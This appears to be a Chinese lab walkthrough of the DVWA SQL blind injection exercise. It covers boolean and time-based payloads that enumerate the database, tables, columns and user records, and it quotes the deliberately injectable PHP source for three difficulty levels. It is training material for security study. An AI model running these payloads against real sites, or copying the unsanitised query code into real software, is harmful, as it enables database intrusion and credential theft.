文章目录
- 一、概述
- 二、low
- 2.1 通关思路(布尔盲注)
- (1)判断是否存在SQL注入漏洞
- (2)判断属于数字型注入还是字符型注入
- (3)判断结果集中的字段数
- (4)猜数据库名长度
- (5)猜数据库名
- (6)猜表的个数
- (7)猜第一个表名
- (8)猜user表中的字段个数、每个字段的长度、名称
- (9)猜字段内容
- 2.2 通关思路(时间盲注)
- (1)判断是否存在SQL注入漏洞,属于字符型还是数字型
- (2)猜测当前数据库名长度、首字母
- 2.3 源码分析
- 三、medium
- 四、high
一、概述
盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
普通注入与盲注的区别:
普通注入是可以根据报错提示,进行sql语句注入从而,直接爆出我们想要的信息,比如数据库版本、数据库名、用户名、操作系统版本等;而盲注只能通过多次猜测,从而猜解出有用信息。相对来说sql盲注更加考验安全人员的手注能力。
SQL盲注分类:
- 布尔盲注
- 事件盲注
- 报错盲注
二、low
2.1 通关思路(布尔盲注)
(1)判断是否存在SQL注入漏洞
在参数后面添加
'
,来判断是否存在sql注入漏洞。
- 引号被拼接到SQL语句中,由此可见,存在SQL注入漏洞。
- 同时,此处只是返回ID值在不在数据库中,页面可由此分为True和False,因此,该SQL注入属于布尔盲注。
(2)判断属于数字型注入还是字符型注入
1+and+1=1+--+
注意:payload需要URL编码。
1+and+1=2+--+
两次页面返回一致,属于字符型注入。下一步判断闭合符号~
1'+and+1=1+--+
1'+and+1=2+--+
两次页面返回不一致,故该SQL注入漏洞属于字符型注入,且单引号闭合。
(3)判断结果集中的字段数
注意:
order by
是对查询结果中的某个字段进行排序,并不能说明表中含有几个字段。
1'+order+by+<数字>+--+
可知,该页面(表)存在两个字段。
(4)猜数据库名长度
因为盲注没有回显点,故不能使用
union
进行联合查询。使用length()
函数来判断数据库名的长度。
1'+and+length(database())=1+--+
使用sniper
进行爆破
由此,可知数据库名长度为4。
(5)猜数据库名
1'+and+ascii((substr(database(),<变量1>,1)))=<变量2>+--+
注:
- substr(string, start, length):提取字串。start从1开始。
- 大写英文的ASCII值范围:65-90
- 小写英文的ASCII值范围:97-122
- 变量1的范围在0-3
可以得知,数据库名第一个字母为d。
依次,可以得到整个数据名为dvwa。
(6)猜表的个数
1'+and+(select+count(table_name)+from+information_schema.tables+where+table_schema=database())=1+--+
同理,爆表个数
由此可见,数据库中存在两个表。
(7)猜第一个表名
1'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),0,1))=103+--+
注:limit 0,1 代表第一行数据;选第二行数据应该是limit 1,1
- 第一个表名的第一个字母为g;
- 同理,可以爆破出第一个表名为guestbook,第二个表名为users。
(8)猜user表中的字段个数、每个字段的长度、名称
1)该表中的字段个数
1'+and+(select+count(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name='users')=8+--+
这里就不进行爆破了,最终可以得到:users表中含有8个字段。
2)猜第一个字段的长度
1'+and+length((select+column_name+from+information_schema.columns+where+table_name='users'+limit+0,1))=7+--+
注:
- 猜第二个字段的长度就将
limit 0,1
改为limit 1,1
,依此类推。
可知,第一个字段长度为7。
3)猜第一个字段的第一个字母
1'+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_name='users'+limit+0,1),1,1))=117+--+
注:第一个字段的第二个字母就将
limit+0,1),1,1
改为limit+0,1),2,1
。
- 按照上述思路,对user表中的每个字段进行爆破,最终可以得到每个字段名。
- 可以知道users表中含有user和password两个字段。
(9)猜字段内容
1)以猜user字段的第一个字段值为例:
1'+and+length((select+user+from+dvwa.users+limit+0,1))=5+--+
可以得知,第一个字段值长度为5。
2)猜第一个字段值的首字母
1'+and+ascii(substr((select+user+from+dvwa.users+limit+0,1),1,1))=97+--+
可以得到第一个字母为a。用同样的方法得到整个字段值。
2.2 通关思路(时间盲注)
(1)判断是否存在SQL注入漏洞,属于字符型还是数字型
1+and+sleep(5)+--+ //数字型则等待5秒;
1'+and+sleep(5)+--+ //字符型则等待5秒;
故,此处存在SQL注入漏洞,且属于字符型注入,单引号闭合。
(2)猜测当前数据库名长度、首字母
1)猜测数据库名长度
需要用到的函数
if(a,b,c)
:a是条件,满足返回b,不满足返回c
1'+and+if(length(database())=4,sleep(5),1)+--+
延迟5秒,说明数据库名的长度为4。
2)猜测数据库名的首字母
1'+and+if(ascii((substr(database(),1,1)))=100,sleep(5),1)+--+
- 延迟5秒,说明首字母的ascii值为100;
- 注意此时页面会报错嗷~
- 后续步骤同布尔盲注,无非是加了一个if函数。
2.3 源码分析
<?phpif( isset( $_GET[ 'Submit' ] ) ) {// Get input$id = $_GET[ 'id' ];// Check database$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysql_numrows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}mysql_close();
}?>
分析:
源码直接用 GET 方法传入参数 id,但是没有经过任何过滤就拿去 SQL 查询了。同时我们看到网页并不会返回查询的结果,而是当查询到内容时返回 “User ID exists in the database”,查不到时返回 “User ID is MISSING from the database”。
三、medium
<?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ];$id = mysql_real_escape_string( $id );// Check database$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysql_numrows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}//mysql_close();
}?>
分析:源码使用了 mysql_real_escape_string()
函数转义字符串中的特殊字符。也就是说特殊符号 \x00
、\n
、\r
、\
、'
、"
和 \x1a
都将进行转义。同时开发者把前端页面的输入框删了,改成了下拉选择表单,希望以此来控制用户的输入。
需要注意的是,加单引号,页面返回报错,可能会误判。例如,正常是查id等于1的用户,转义后就会去查id等于
1\'
的用户,显然数据库没有。故,注意可能会误判。
四、high
<?phpif( isset( $_COOKIE[ 'id' ] ) ) {// Get input$id = $_COOKIE[ 'id' ];// Check database$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors// Get results$num = @mysql_numrows( $result ); // The '@' character suppresses errorsif( $num > 0 ) {// Feedback for end userecho '<pre>User ID exists in the database.</pre>';}else {// Might sleep a random amountif( rand( 0, 5 ) == 3 ) {sleep( rand( 2, 4 ) );}// User wasn't found, so the page wasn't!header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );// Feedback for end userecho '<pre>User ID is MISSING from the database.</pre>';}mysql_close();
}?>
分析:High 级别的只是在 SQL 查询语句中添加了 LIMIT 1
,这令服务器仅回显查询到的一个结果。同时源码利用了 cookie 传递参数 id,当 SQL 查询结果为空时会执行函数 sleep()
,这是为了混淆基于时间的盲注的响应时间判断。